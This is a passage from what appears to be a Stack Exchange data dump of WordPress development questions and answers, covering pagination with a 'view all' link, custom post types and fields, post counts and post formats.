?&amp;gt;&quot; class=&quot;numbered page-number-&amp;lt;?    php echo $p; ?&amp;gt;&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php echo $p; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;// last page is not visible&#xA;if ($pageStart + $pageCount &amp;lt; $query-&amp;gt;max_num_pages) {&#xA;    //echo &quot;last&quot;;&#xA;}&#xA;if ($paged != $query-&amp;gt;max_num_pages) {&#xA;?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link($query-&amp;gt;max_num_pages); ?&amp;gt;&quot; class=&quot;numbered page-number-last&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php _e('Oldest', 'rhinoplasty'); ?&amp;gt; &amp;amp;rsaquo;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure how to go about doing this, any suggestions would be greatly appreciated. Changing to different pagination code is also fine if that will work better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify my question, I want to add a 'view all posts on one page' functionality, basically over-riding the pagination code - this would be done by clicking a &quot;view all&quot; link to the right of the pagination menu ( 4  5  ... last  Next &gt;&gt; View All&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - almost there I think:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$Path=$_SERVER['REQUEST_URI'];&#xA;$URI='http://sitename.com'.$Path;&#xA;$nopage = add_query_arg( 'paged', 'no', $Path );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $nopage; ?&amp;gt;&quot;&amp;gt;View All&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which reloads my page with sitename.com?paged=no, but it still shows pagination - I'm not sure how to override the pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I ended up solving it in case this helps anyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the above code and before the final  I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['viewall']))&#xA;&#xA;{&#xA;&#xA;function view_allposts( $query ) {&#xA;&#xA;    $query-&amp;gt;set( 'posts_per_page', -1 );&#xA;&#xA;}&#xA;&#xA;add_action( 'pre_get_posts', 'view_allposts' );&#xA;&#xA;}&#xA;&#xA;&#xA;if(!$_GET['viewall']){ ?&amp;gt;&#xA;&#xA;&amp;lt;a class=&quot;numbered&quot; href=&quot;&amp;lt;?php  echo add_query_arg( array( 'viewall' =&amp;gt; &quot;true&quot; ), get_pagenum_link(1) ); ?&amp;gt;&quot;&amp;gt;Show All &amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works perfectly!  Thanks for your help on this Kaiser, although I used a different solution I learned a lot from the links you provided.&lt;/p&gt;&#xA;" OwnerUserId="2837" LastEditorUserId="2837" LastEditorDisplayName="" LastEditDate="2011-07-02T19:33:46.733" LastActivityDate="2011-07-03T01:48:24.013" Title="Pagination that includes &quot;view all on one page&quot;" Tags="&lt;pagination&gt;" AnswerCount="2" />
  <row Id="20966" PostTypeId="2" ParentId="20949" CreationDate="2011-06-24T16:54:07.840" Score="0" ViewCount="" Body="&lt;p&gt;Remove &lt;code&gt;$temp = $wp_query;&lt;/code&gt; and &lt;code&gt;$wp_query = null&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add this &lt;em&gt;between&lt;/em&gt; &lt;code&gt;$wp_query=new WP_Query();&lt;/code&gt; and your&#xA;your call to the query &lt;code&gt;$wp_query-&amp;gt;query('posts_per_page=2&amp;amp;cat=7&amp;amp;paged='.$paged);&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query, $paged, $numpages;&#xA;&#xA;// How much pages do we have?&#xA;$max_page = (int) $wp_query-&amp;gt;max_num_pages;&#xA;&#xA;// We need the pagination only if there is more than 1 page&#xA;if ( $max_page &amp;gt; (int) 1 )&#xA;    $paged = ! $wp_query-&amp;gt;query_vars['paged'] ? (int) 1 : $wp_query-&amp;gt;query_vars['paged'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way your query can recognize if it's currently paged;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-24T16:54:07.840" />
  <row Id="20967" PostTypeId="2" ParentId="20948" CreationDate="2011-06-24T16:59:58.273" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Disclaimer: The numbers are out of a non-vanilla install, so it could be less on both sides&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;WordPress has ~ &lt;em&gt;2.700&lt;/em&gt; functions &amp;amp; ~ &lt;em&gt;250&lt;/em&gt; attached actions in &lt;code&gt;global $wp_filter;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So the Q could be:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is iterating through the (at this point) existing functions faster than iterating through the array of hooked filters?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Imo filters/hooks are the faster way, more safe and easier to backtrace. My choice would be filters.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-24T16:59:58.273" CommentCount="2" />
  <row Id="20968" PostTypeId="1" AcceptedAnswerId="20970" CreationDate="2011-06-24T17:52:03.400" Score="1" ViewCount="28" Body="&lt;p&gt;hello to all I am newbie to wordpress. I want to remove the title tags from every page.Is there any way to remove that part?Thanks in advance..&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-06-24T18:07:33.910" Title="Removing title tags from each page" Tags="&lt;theme-development&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="20969" PostTypeId="2" ParentId="20963" CreationDate="2011-06-24T17:53:57.010" Score="0" ViewCount="" Body="&lt;p&gt;Have you considered using a plugin like W3 Total Cache? It allows you to used cached versions of you pages to save load time. If you configure it correctly it should greatly improve your load times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to W3 Total Cache:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/w3-total-cache/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-24T17:53:57.010" CommentCount="3" />
  <row Id="20970" PostTypeId="2" ParentId="20968" CreationDate="2011-06-24T18:07:33.910" Score="2" ViewCount="" Body="&lt;p&gt;You can open your theme files and remove the code that adds this to the page. The typical files to look in are:&#xA;index.php, page.php, post.php, single.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;&amp;lt;a href=”&amp;lt;?php the_permalink(); ?&amp;gt;”&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or it might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_title(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might want to comment the part of code out so you can easily add it if you want to in the future. To use this method you would surround the part the_title(); with this /**  the_title();  */ It would then look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /**  the_title();  */?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-24T18:07:33.910" CommentCount="1" />
  <row Id="20971" PostTypeId="1" CreationDate="2011-06-24T18:21:19.080" Score="0" ViewCount="46" Body="&lt;p&gt;I'm looking to show the tags of a post within a widget. I know this is hard because it's outside of the loop, but has it been done, is there one available? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any assistance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hudson&lt;/p&gt;&#xA;" OwnerUserId="6480" LastActivityDate="2011-08-25T14:34:39.007" Title="A plugin to show post tags in a widget" Tags="&lt;widgets&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="20972" PostTypeId="1" AcceptedAnswerId="20976" CreationDate="2011-06-24T18:21:21.917" Score="0" ViewCount="97" Body="&lt;p&gt;I've refrained from asking this question for a couple weeks, as I wasn't completely certain what I wanted cleared up... think I got it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of putting together a plugin to run a somewhat complex portfolio feature for my new personal site. The need was for a reasonable number of custom fields for each portfolio item, a number of categories (illustration, web design etc) and a way to build relationships. I use those categories to populate a list which delivers data via user submitted ajax requests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I weighed several options for this and landed on &lt;em&gt;what I knew&lt;/em&gt; - and specifically didn't use custom post types; really, the only reason was ignorance. I did read a number of articles on the subject, but it just wasn't clear to me how to accomplish my goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate - I've spent the last couple weekends building a plugin that creates three new tables, deals with CRUD from the admin pages, and controls ajax requests. And it works great, in fact, for the &quot;multi&quot; template (which just gathers categories of thumbnails).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I started working on the &quot;single&quot; page (which would just be a template for the display of a single line item), and it dawned on me that to incorporate searching, comments, permalinks etc, I was going to have to do a lot of hacking to tie my custom data into the main wp system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate. I've since come understand that I can, in fact, use custom post types to hold the portfolio line items, and a custom taxonomy to develop the set of terms I will need for categorization. I'm hoping someone can fill me in on some of the details that are still sticking (because the documentation on this subject is very thin, at best...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to create a custom post type seems pretty straightforward, as is the code for a custom taxonomy, but I am still unclear on a couple points:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&lt;strong&gt;Custom Fields&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I manage them? I have about 20 columns that I'm populating - I've read a few things stating they are created via meta boxes? What table is that data actually stored in? wp-posts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2:&lt;strong&gt;Custom Terms&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how to create a custom taxonomy, but how do I go about linking my custom post type with that taxonomy? How do I filter a query for this taxonomy to populate the front-facing ajax drop-down selector? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there plugins that can make this easier? I'm planning on coding everything at this point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, given the scope of my project, &lt;strong&gt;are custom post types appropriate for what I'm trying to do&lt;/strong&gt;? Does it make sense to scrap what I've already put together? Honestly - this is my first attempt at a plugin, and I've learned quite a lot - but the addition of wp features like searching, comments, permalinks etc. all seem pretty attractive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I submit to the experts - &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I filter a query for this&#xA;  taxonomy to populate the front-facing&#xA;  ajax drop-down selector?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let me explain this more clearly. When the front-facing portfolio page is visited by a user, I run a query on all the available terms (currently this term data is from my non-wp, custom tables), and use those to populate either a drop-down selector, or just an unordered list. I hook into those elements to pass (in this case) ID values (categories like 'illustration' or 'web design') to an ajax sequence, which returns a json object containing sql results. I then build out thumbnails and other content for these items dynamically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question then, is &lt;em&gt;how do I structure a query to return custom post types based on terms from a custom taxonomy&lt;/em&gt;? As long as I can return a json object from that query, I can just use my current ajax / js sequence as it stands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help - &lt;/p&gt;&#xA;" OwnerUserId="5430" LastEditorUserId="5430" LastEditorDisplayName="" LastEditDate="2011-06-27T14:56:49.077" LastActivityDate="2011-06-27T15:07:22.143" Title="Custom post type's extra fields - how to handle?" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="20973" PostTypeId="1" CreationDate="2011-06-24T18:22:54.540" Score="0" ViewCount="80" Body="&lt;p&gt;This is what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if number of posts is greater than 20 -&gt; display link to another page (which shows all posts)&#xA;if number of posts is less than 20 -&gt; don't display the link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've been able to return the number of posts using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count_posts = wp_count_posts('inventory');&#xA;$published_posts = $count_posts-&amp;gt;publish;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I don't know where to go from here, any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2837" LastActivityDate="2011-08-24T18:34:19.440" Title="Count how many posts in category, based on result display link or not" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="20974" PostTypeId="2" ParentId="20971" CreationDate="2011-06-24T18:31:09.007" Score="0" ViewCount="" Body="&lt;p&gt;I believe this plugin does exactly what you're looking for: &lt;a href=&quot;http://wordpress.org/extend/plugins/nktagcloud/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nktagcloud/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&#xA;Michelle&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-06-24T18:31:09.007" />
  <row Id="20975" PostTypeId="1" AcceptedAnswerId="20991" CreationDate="2011-06-24T18:35:36.810" Score="0" ViewCount="33" Body="&lt;p&gt;I have a one column page for the home page where I have a mega menu and in side the site there is another page called about us  where the mega menu is present but it is in small format just like it differs from the mega menu in width and height.So for home page I have used widget and now for about us page I want the small mega menu.So can any one tell me how to do that.I heared about if(front_page()), so I am using this but nothing is happening.So please guide me.Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-06-25T00:41:40.847" Title="menu in different page in different style" Tags="&lt;widgets&gt;&lt;custom-menus&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20976" PostTypeId="2" ParentId="20972" CreationDate="2011-06-24T19:00:01.163" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I manage them? I have about 20 columns that I'm populating - I've read a few things stating they are created via meta boxes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom fields&lt;/a&gt; are more of a storage engine for meta data. It's up to you how to use them. And yes, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;meta boxes&lt;/a&gt; are common for that when you need nice way to input/edit them on post screen.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What table is that data actually stored in? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table%3a_wp_postmeta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;*_postmeta&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand how to create a custom taxonomy, but how do I go about linking my custom post type with that taxonomy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;register taxonomy&lt;/a&gt; you pass object type(s) that it applies to.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I filter a query for this taxonomy to populate the front-facing ajax drop-down selector?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not sure what exactly you need here. Elaborate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how do I structure a query to return custom post types based on terms from a custom taxonomy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query &gt; Taxonomy Parameters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;Advanced Taxonomy Queries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there plugins that can make this easier?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yep, plenty. But if you are proficient enough to deal with that much code directly I recommend to at least try and do it natively first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of awesome frameworks, plugins and other helper code for WordPress, but it is considerably hard to accurately research, evaluate and pick what will perfectly fit your needs in the long run.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally, given the scope of my project, are custom post types appropriate for what I'm trying to do?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Seems perfectly appropriate to me.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-27T15:07:22.143" LastActivityDate="2011-06-27T15:07:22.143" CommentCount="4" />
  <row Id="20977" PostTypeId="2" ParentId="20973" CreationDate="2011-06-24T19:05:00.637" Score="0" ViewCount="" Body="&lt;p&gt;If I remember right count of posts in category is stored persistently in category object. So use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_category()&lt;/code&gt;&lt;/a&gt; or variation of it and fetch the number out of object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = get_category($id);&#xA;$count = $category-&amp;gt;category_count;&#xA;&#xA;if( $count &amp;gt; $something ) {&#xA;&#xA;    // stuff&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-24T19:51:56.683" LastActivityDate="2011-06-24T19:51:56.683" CommentCount="3" />
  <row Id="20978" PostTypeId="2" ParentId="20946" CreationDate="2011-06-24T19:27:15.983" Score="1" ViewCount="" Body="&lt;p&gt;From quick test with your filter active last test snippet works just fine for me. Also I don't get redirected from home page if there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's not your approach that is wrong, but something seems to break it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-24T19:27:15.983" CommentCount="3" />
  <row Id="20979" PostTypeId="2" ParentId="20948" CreationDate="2011-06-24T19:29:03.113" Score="0" ViewCount="" Body="&lt;p&gt;Ok, after running several tests&lt;sup&gt;1)&lt;/sup&gt; I can see that &lt;code&gt;has_filter&lt;/code&gt; takes ~ 20% more time to finish (on a not vanilla install) than &lt;code&gt;function_exists&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// You have to uncomment one or the other to run the test&#xA;// don't run timer_xy() functions behind each other - the result is then wrong&#xA;timer_start();&#xA;$output = ' false ';&#xA;for ( $i = 0; $i &amp;lt; 1000000; $i++ ) &#xA;{&#xA;    // if ( function_exists('wp_login') ) $output = ' true ';&#xA;    if ( has_filter( 'shutdown' ) ) $output = ' true ';&#xA;}&#xA;echo $output;&#xA;echo('Seconds: ' . timer_stop(0,10) . '&amp;lt;br /&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1)&lt;/sup&gt; This is the code I used to test. It was set on the top of the functions.php file&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-24T19:29:03.113" CommentCount="5" />
  <row Id="20980" PostTypeId="2" ParentId="20965" CreationDate="2011-06-24T19:32:09.507" Score="0" ViewCount="" Body="&lt;p&gt;You could use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_query_arg()&lt;/code&gt;&lt;/a&gt; and change &lt;code&gt;$paged&lt;/code&gt; for the old query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  This should output 'http://example.com/?paged=no'&#xA;add_query_arg( 'paged', 'no', bloginfo('url') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_query_var&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_query_var()&lt;/code&gt;&lt;/a&gt; to modify the output.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-24T20:08:51.427" LastActivityDate="2011-06-24T20:08:51.427" CommentCount="12" />
  <row Id="20981" PostTypeId="1" AcceptedAnswerId="20983" CreationDate="2011-06-24T20:14:27.013" Score="0" ViewCount="34" Body="&lt;p&gt;I have a &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Field&lt;/a&gt; on a page named &lt;code&gt;banner_id_list&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type&lt;/a&gt; called &lt;code&gt;top_banner&lt;/code&gt;. I add a few banners, note the IDs and then go back to the page and add a comma delimited list of IDs in the &lt;code&gt;banner_id_list&lt;/code&gt; custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, the plan is to check the current posts meta using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt;. That should produce a list of IDs that I can then take and use in get_posts() with &lt;code&gt;post__in = array()&lt;/code&gt; (see &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;post__in&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on to the code, I'm missing something here but I'm a bit of a newb at this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the banner_id_list based on the meta custom field for this page&#xA;$banner_id_list = get_post_meta($post-&amp;gt;ID, 'banner_id_list', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I dump that I see the expected data, a list of IDs I entered into the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'top_banner',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'numberposts' =&amp;gt; -1,        &#xA;    'order' =&amp;gt; ASC,&#xA;    'orderby' =&amp;gt; menu_order,&#xA;    'post__in' =&amp;gt; array($banner_id_list)&#xA; ); &#xA;&#xA; $banners = get_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there's something funky about using &lt;code&gt;$banner_id_list&lt;/code&gt; here. It's only getting a single record. But if I manually enter values in place of that variable, it works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's something simple/fundamental I'm missing, hope someone can help!&lt;/p&gt;&#xA;" OwnerUserId="6483" LastActivityDate="2011-06-24T20:37:33.897" Title="post__in not taking my list of IDs" Tags="&lt;custom-post-types&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="20982" PostTypeId="1" CreationDate="2011-06-24T20:24:11.473" Score="0" ViewCount="42" Body="&lt;p&gt;I need to add a tag base with the country name to filter content based on that variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://base_url/country/page_name&quot; rel=&quot;nofollow&quot;&gt;http://base_url/country/page_name&lt;/a&gt; or &lt;a href=&quot;http://base_url/country/post_type/post_name&quot; rel=&quot;nofollow&quot;&gt;http://base_url/country/post_type/post_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content would be filtered by a taxonomy using the country variable.&lt;/p&gt;&#xA;" OwnerUserId="6482" LastActivityDate="2011-06-24T20:24:11.473" Title="How to add a variable as a tag base?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;" CommentCount="2" />
  <row Id="20983" PostTypeId="2" ParentId="20981" CreationDate="2011-06-24T20:37:33.897" Score="2" ViewCount="" Body="&lt;p&gt;If &lt;code&gt;$banner_id_list&lt;/code&gt; holds comma-delimited list then to convert it to array instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array($banner_id_list)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you need to do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;explode(',', $banner_id_list)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-24T20:37:33.897" CommentCount="2" />
  <row Id="20984" PostTypeId="1" AcceptedAnswerId="20985" CreationDate="2011-06-24T21:06:35.267" Score="0" ViewCount="61" Body="&lt;p&gt;I'm working on trying to get my homepage template to display post-format 'gallery' a little different than the other formats but having no luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet 'inside the loop' that shows what I am trying to accomplish. Basically saying if post-format = 'aside' do x, elseif post-format is gallery, then I want to show a thumbnail, else just content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;    if ( has_post_format( 'aside' , $post_id )) {&#xA;        the_excerpt(__('Continue Reading &amp;amp;rarr;', 'wptumble-fluid'));&#xA;&#xA;    } elseif ( has_post_format( 'gallery' , $post_id )) {&#xA;&#xA;        if ( has_post_thumbnail() ) {&#xA;                // use the thumbnail (&quot;featured image&quot;)&#xA;                $thumb_id = get_post_thumbnail_id();&#xA;            the_post_thumbnail( 'thumbnail' ); &#xA;        } else {&#xA;            $attachments = get_children( array(&#xA;                'post_parent' =&amp;gt; get_the_ID(),&#xA;                'post_status' =&amp;gt; 'inherit',&#xA;                'post_type' =&amp;gt; 'attachment',&#xA;                'post_mime_type' =&amp;gt; 'image',&#xA;                'order' =&amp;gt; 'ASC',&#xA;                'orderby' =&amp;gt; 'menu_order ID',&#xA;                'numberposts' =&amp;gt; 1)&#xA;            );&#xA;            foreach ( $attachments as $thumb_id =&amp;gt; $attachment )&#xA;                echo wp_get_attachment_image($thumb_id, 'thumbnail' ); &#xA;            }&#xA;    } else {&#xA;            if ( $fluidtheme_options['fluid_post_content'] == &quot;content&quot; ) the_content(__('Continue Reading &amp;amp;rarr;', 'wptumble-fluid')); else the_excerpt();&#xA;    }&#xA;&#xA;        wp_link_pages( $page_link_args );&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.entry --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The aside part works, as does the final option which checks the theme options page. The only thing not working is my elseif statement where I want it to grab the post attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably just doing my php wrong, but this is the closest I can seem to come up with. Still in the learning process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-06-25T01:33:51.460" Title="If post-format == 'gallery' do X question" Tags="&lt;post-formats&gt;" AnswerCount="2" />
